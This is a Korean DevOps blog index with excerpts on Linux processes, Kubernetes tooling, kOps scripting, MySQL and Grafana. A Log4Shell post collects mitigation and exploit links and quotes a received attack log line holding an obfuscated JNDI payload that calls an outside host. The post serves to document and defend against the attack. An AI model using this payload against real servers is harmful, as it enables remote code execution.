시작하는 엔지니어를 위해 - 3

https://www.linuxer.name/posts/시작하는-엔지니어를-위해-2/ 시작하는 엔지니어를 위한 글을 쓴지 벌써 3년이 지났습니다. 3년간 저도 성장했고, 더 나은 이야기를 할수 있는 사람이 되었는지도 모르겠습니다. 그럼 이야기를 시작하겠습니다. 먼저 스레드(Thread)를 이야기하려 합니다. 스레드는 사용자가 제어할수 있는 가장 작은 단위의 리소스입니다. 스레드는 프로세스 내에서 독립적인 실행 흐름을 나타내며, 프로세스의 리소스를 공유합니다. 말로는 이해가 안될 수 있으니 한번 프로세스와 스레드를 보여드릴까 합니다. [root@ip-172-31-37-46 ~]# ps afxuww | grep httpd root 2908 0.0 1.4 753824 14668 ? Ss Sep05 7:57 /usr/sbin/httpd -DFOREGROUND apache 24171 0.1 6.5 1121056 64932 ? Sl 13:24 0:02 |- /usr/sbin/httpd -DFOREGROUND apache 24215 0.1 6.5 891616 65076 ? Sl 13:24 0:02 |- /usr/sbin/httpd -DFOREGROUND apache 24226 0.1 6.1 891616 60412 ? Sl 13:24 0:01 |- /usr/sbin/httpd -DFOREGROUND apache 24227 0.1 6.5 891616 64672 ? Sl 13:24 0:01 |- /usr/sbin/httpd -DFOREGROUND apache 24298 0.1 6.0 891616 59792 ? Sl 13:24 0:01 |- /usr/sbin/httpd -DFOREGROUND apache 24602 0.1 6.5 893756 64920 ? Sl 13:38 0:00 |- /usr/sbin/httpd -DFOREGROUND apache 24603 0.1 5.9 815580 58600 ? Sl 13:38 0:00 |- /usr/sbin/httpd -DFOREGROUND apache 24615 0.1 5.9 815836 58988 ? Sl 13:38 0:00 |- /usr/sbin/httpd -DFOREGROUND apache 24640 0.1 6.2 815876 62040 ? Sl 13:38 0:00 |- /usr/sbin/httpd -DFOREGROUND apache 24674 0.1 6.0 891360 59644 ? Sl 13:38 0:00 |- /usr/sbin/httpd -DFOREGROUND 저의 시그니처 명령어인 ps afxuwww 를 이용하여 프로세스를 확인합니다. ps afxuwww 명령어는 프로세스리스트를 모두 트리구조로 백그라운드 프로세스도 포함해서 유저 중심으로 넓게 보여주는 명령어립니다. ...

December 6, 2023 · 16 min · 📁 Linux, 기타 · 🏷️ 시작하는, 엔지니어를, 위해

Argo-WorkFlow/Events

이글은 Argo WorkFlow로 CI를 하려했던 나의 경험담을 담고있다. Argo WorkFlow를 쓰려고 결심하고 리서칭하는 중이라면 AirFlow가 있다. 돌아가라. Argo WorkFlow는 Flow마다 Pod를 생성한다. 그대가 원하는 패턴이 맞는지 다시한번 생각하라. 매 Flow 마다 Pod가 만들어 지는것이 맞는가? 그렇다면 맞다 Argo WorkFlow 다. 그럼다면 다시 묻는다 CI를 위해서 Argo를 찾는것인가? K8S에서 다양한 CRD에 익숙하고 강력한 러닝커브는 즐거움으로 생각되고 CNCF에 기여하는게 꿈이라면 말리지 않겠다. 잘왔다. Argo WorkFlow/Events다. 이 글에선 CI를 다룬다. 물론 글이 깊진 않다. 하지만 찍먹으론 충분한 수준으로 그대에게 전달할 것이다. 먼저 Argo-WorkFlow 를 설치해야한다. ...

March 21, 2023 · 6 min · 📁 Linux, Kubernetes

PKOS-kOps-1Week

이번에 스터디에 참가하게 되었다. 가시다님의 PKOS! 스터디할시에 사용하는 책은 24단계 실습으로 정복하는 쿠버네티스 이다. kOps를 프로비저닝하는데 오타가 발생해서 심심해서 스크립트를 만들었다. 그덕에 한번 다시 만들었다. #!/bin/bash echo "클러스터명-도메인을 입력해주세요 : " read KOPS_CLUSTER_NAME echo "버킷명을 입력해 주세요 s3:// 는 입력하지 않아도 됩니다. : " read KOPS_STATE_STORE # Access Key를 입력 받음 read -p "엑세스키를 입력해주세요 : " ACCESS_KEY # Secret Access Key를 입력 받음 read -p "시크릿키를 입력해주세요 : " SECRET_KEY # AWS 계정 구성 aws configure set aws_access_key_id $ACCESS_KEY aws configure set aws_secret_access_key $SECRET_KEY echo 'export AWS_PAGER=""' >>~/.bashrc echo "export REGION=ap-northeast-2" >>~/.bashrc echo "export KOPS_CLUSTER_NAME=$KOPS_CLUSTER_NAME" >>~/.bashrc echo "export KOPS_STATE_STORE=s3://$KOPS_STATE_STORE" >>~/.bashrc kops create cluster --zones="$REGION"a,"$REGION"c --networking amazonvpc --cloud aws \\ --master-size t3.medium --node-size t3.medium --node-count=2 --network-cidr 172.30.0.0/16 \\ --ssh-public-key ~/.ssh/id_rsa.pub --name=$KOPS_CLUSTER_NAME --kubernetes-version "1.24.10" --dry-run -o yaml > mykops.yaml kops create cluster --zones="$REGION"a,"$REGION"c --networking amazonvpc --cloud aws \\ --master-size t3.medium --node-size t3.medium --node-count=2 --network-cidr 172.30.0.0/16 \\ --ssh-public-key ~/.ssh/id_rsa.pub --name=$KOPS_CLUSTER_NAME --kubernetes-version "1.24.10" -y source <(kubectl completion bash) echo 'source <(kubectl completion bash)' >> ~/.bashrc echo 'alias k=kubectl' >> ~/.bashrc echo 'complete -F __start_kubectl k' >> ~/.bashrc read 명령어를 이용하여 스크립트에 변수를 부여하고 입력받은 변수를 이용하여 aws configure 를 설정하고, kops 명령어로 k8s 클러스터를 프로비저닝한다. ...

March 6, 2023 · 1 min · 📁 Linux, Kubernetes · 🏷️ bash, kops, cli

DOIK-Study

가시다님과 함께하는 스터디는 항상 즐겁다. 이번 스터디엔 라이브로 못해서..일단 바닐라쿠버 배포하고 시작했다. Headless 서비스는 ClusterIP가 None으로 설정하며 kubeproxy를 통하지않고 pod의 endpoint가 svc에 연결된다. 나는 먼저 NFS 서버를 Headless 로 배포하기로 했다. kind: PersistentVolumeClaim apiVersion: v1 metadata: name: nfs-server-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Gi --- kind: Service apiVersion: v1 metadata: name: nfs-service spec: type: ClusterIP clusterIP: None selector: role: nfs ports: # Open the ports required by the NFS server # Port 2049 for TCP - name: tcp-2049 port: 2049 protocol: TCP # Port 111 for UDP - name: udp-111 port: 111 protocol: UDP # Port 20048 for TCP - name: tcp-20048 port: 20048 protocol: TCP --- apiVersion: v1 kind: ReplicationController metadata: name: nfs-server spec: replicas: 1 selector: role: nfs-server template: metadata: labels: role: nfs-server spec: containers: - name: nfs-server image: gcr.io/google_containers/volume-nfs:0.8 ports: - name: nfs containerPort: 2049 - name: mountd containerPort: 20048 - name: rpcbind containerPort: 111 securityContext: privileged: true volumeMounts: - mountPath: /exports name: nfs-export volumes: - name: nfs-export-fast persistentVolumeClaim: claimName: nfs-server-pvc-fast ? ...

May 26, 2022 · 5 min · 📁 AWS, Linux, Kubernetes

Linux-stdin-stdout-stderr-2

stderr 는 버퍼를 사용하지 않지만 그것과 별개로 그대로 출력하기 때문에 grep 이 되지 않는것입니다. https://www.facebook.com/groups/korelnxuser/permalink/2060620130779393/ 소용환님께서 답변해주셔서 알 수 있었습니다. 그래서 테스트를 진행하였습니다. stdbuf 명령어를 이용하여 buffer 를 제거하고 grep 해보았습니다. stdbuf -o0 는 stdout 를 unbuffered 로 출력하는 명력어 입니다. # cat test.txt 1 2 3 4 5 6 # stdbuf -o0 cat test.txt | grep 2 2 그런데 문득 버퍼사이즈가 0인것과 버퍼가 아주없는 unbuffered 는 차이가 있다는것을 알게되었습니다. 그래서 stderr 에 buffer 를 주었습니다. ...

February 28, 2022 · 1 min · 📁 Linux

Linux-stdin-stdout-stderr-1

잘못된 정보를 공유하였습니다. 그부분을 수정하고자 게시물을 다시 올립니다. 바로잡은 내용은 아래의 글입니다. https://www.linuxer.name/posts/linux-stdin-stdout-stderr-2/ 리눅스에서 stderr 으로 받는 문자열은 grep이 되지 않는다. 이유는 stderr는 Unbufferd 로 출력만 하기때문이다. # httpd -T | grep http AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 10.0.10.6. Set the 'ServerName' directive globally to suppress this message (98)Address already in use: AH00072: make_sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down AH00015: Unable to open logs 위의 경우가 그 예이다. ...

February 26, 2022 · 1 min · 📁 Linux · 🏷️ grep, linux, buffer

Mysql-Rows-count

information_schema 스키마는 랜덤샘플링으로 인하여 값의 오차가 생길수 있으므로 정확하지 않음 검증방법 ANALYZE TABLE 테이블명;SELECT table_name, table_rows, round(data_length/(1024*1024),2) as 'DATA_SIZE(MB)', round(index_length/(1024*1024),2) as 'INDEX_SIZE(MB)' FROM information_schema.TABLES WHERE table_schema = '데이터베이스명' GROUP BY table_name ORDER BY data_length DESC LIMIT 10; ANALYZE 를 진행하며 테이블 확인 - information_schema.TABLES 이 계속 변경되는것이 확인됨 따라서 row count 로 만 검증가능 SELECT COUNT(*)FROM 테이블명; 대표적으로 자주사용하는 테이블을 카운트하여 비교하는것이 제일 정확

January 20, 2022 · 1 min · 📁 Linux

log4shell - url 정리

총평: log4shell 취약점이 있으면 해커가 서버에서 뭐든할수있게 되어서 랜섬부터 멀웨어까지 다양하고 참신한 공격이 가능 1 . "log4j2.formatMsgNoLookups"를 "true"로 설정 Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 버전으로 업데이트 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 대응방법 KISA https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j 패스틀리 링크 https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ 클라우드플레어링크 https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit 취약점 테스트방법 https://github.com/mwarnerblu/Log4ShellScanner Log4shell Scanner https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 취약점 점검 expolit https://www.lunasec.io/docs/blog/log4j-zero-day/ curl 테스트방법 https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890 로깅패턴 https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits 로그에서 확인방법 https://github.com/YfryTchsGD/Log4jAttackSurface 대상제품리스트 https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/?fbclid=IwAR1j7GAuBIbuh7HrlQJO-HTTKFjac7YYxvSWVh950CWiav2vO6AzSTI-S_0 AWS의 대응 WAF에 Managed rule이 추가 https://github.com/YfryTchsGD/Log4jAttackSurface 공격받은곳 리스트 https://github.com/christophetd/log4shell-vulnerable-app 동작샘플 블로그에 남은 공격로그 127.0.0.6 - - [12/Dec/2021:04:29:32 +0000] "GET /favicon.ico HTTP/1.1" 302 5 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247" ...

December 11, 2021 · 1 min · 📁 Linux

EKS-prometheus-grafana

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/prometheus.html 먼저 프로메테우스를 설치한다. cat << EOF | k apply -f - --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: grafana-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi --- apiVersion: apps/v1 kind: Deployment metadata: labels: app: grafana name: grafana spec: selector: matchLabels: app: grafana template: metadata: labels: app: grafana spec: securityContext: fsGroup: 472 supplementalGroups: - 0 containers: - name: grafana image: grafana/grafana:7.5.2 imagePullPolicy: IfNotPresent ports: - containerPort: 3000 name: http-grafana protocol: TCP readinessProbe: failureThreshold: 3 httpGet: path: /robots.txt port: 3000 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 30 successThreshold: 1 timeoutSeconds: 2 livenessProbe: failureThreshold: 3 initialDelaySeconds: 30 periodSeconds: 10 successThreshold: 1 tcpSocket: port: 3000 timeoutSeconds: 1 resources: requests: cpu: 250m memory: 750Mi volumeMounts: - mountPath: /var/lib/grafana name: grafana-pv volumes: - name: grafana-pv persistentVolumeClaim: claimName: grafana-pvc --- apiVersion: v1 kind: Service metadata: name: grafana spec: ports: - port: 3000 protocol: TCP targetPort: http-grafana selector: app: grafana sessionAffinity: None type: LoadBalancer EOF https://grafana.com/docs/grafana/latest/installation/kubernetes/ ...

September 18, 2021 · 2 min · 📁 AWS, Linux, Kubernetes · 🏷️ prometheus, grafana, EKS

NKS-Linuxer-Blog-Rebuilding

블로그를 새로 만들기로 했다. https://www.linuxer.name/posts/aws-linuxer의-블로그-톺아보기/ 2020년 2월에 완성된 블로그의 구조이니..이걸 우려먹은지도 벌써 1년이 훌쩍넘어다는 이야기다. 블로그를 좀더 가볍고 편한구조로 변경하려고 고민했으나..나는 실패했다.ㅠㅠ 능력이나 뭐 그런 이야기가 아니라..게으름에 진거다. 게으름에 이기기 위해서 글을 시작했다. 목적은 K8S 에 새로 만들기고, K8S의 특성을 가져가고 싶었다. 제일먼저 작업한것은 Wordpess 의 근간이 되는 PHP 다. PHP는 도커파일을 먼저 작성했다. FROM php:7.4-fpm RUN apt-get update \\ && apt-get install -y --no-install-recommends \\ libpng-dev \\ libzip-dev \\ libicu-dev \\ libzip4 \\ && pecl install xdebug \\ && docker-php-ext-install opcache \\ && docker-php-ext-enable xdebug \\ && docker-php-ext-install pdo_mysql \\ && docker-php-ext-install exif \\ && docker-php-ext-install zip \\ && docker-php-ext-install gd \\ && docker-php-ext-install intl \\ && docker-php-ext-install mysqli # Clear cache RUN apt-get clean && rm -rf /var/lib/apt/lists/* WORKDIR /srv/app RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini RUN echo "date.timezone=Asia/Seoul" >> /usr/local/etc/php/php.ini RUN sed -i --follow-symlinks 's|127.0.0.1:9000|/run/php-fpm.sock|g' /usr/local/etc/php-fpm.d/www.conf RUN sed -i --follow-symlinks 's|short_open_tag = Off|short_open_tag = On|g' /usr/local/etc/php/php.ini RUN sed -i --follow-symlinks 's|9000|/run/php-fpm.sock|g' /usr/local/etc/php-fpm.d/zz-docker.conf CMD ["php-fpm"] 몇가지 수정사항이 있었는데 먼저 tcp socket를 사용하지 않고, unix socket을 사용했다. 흔하게 file socket이라고도 하는데 nginx <-> php-fpm 의 socket 통신의 속도가 상승한다. nginx와 php-fpm이 같은 서버내에 있을때 사용할수 있는 방법이다. 또 zz-docker.conf 는 php 이미지에서 ext를 설치할때 docker 패키지를 사용하면설치되는데 이 conf파일안에 unix 소켓을 사용할수 없도록 만드는 설정이 있다. ...

September 2, 2021 · 5 min · 📁 Linux, NCP, Kubernetes · 🏷️ k8s, wordpress, NKS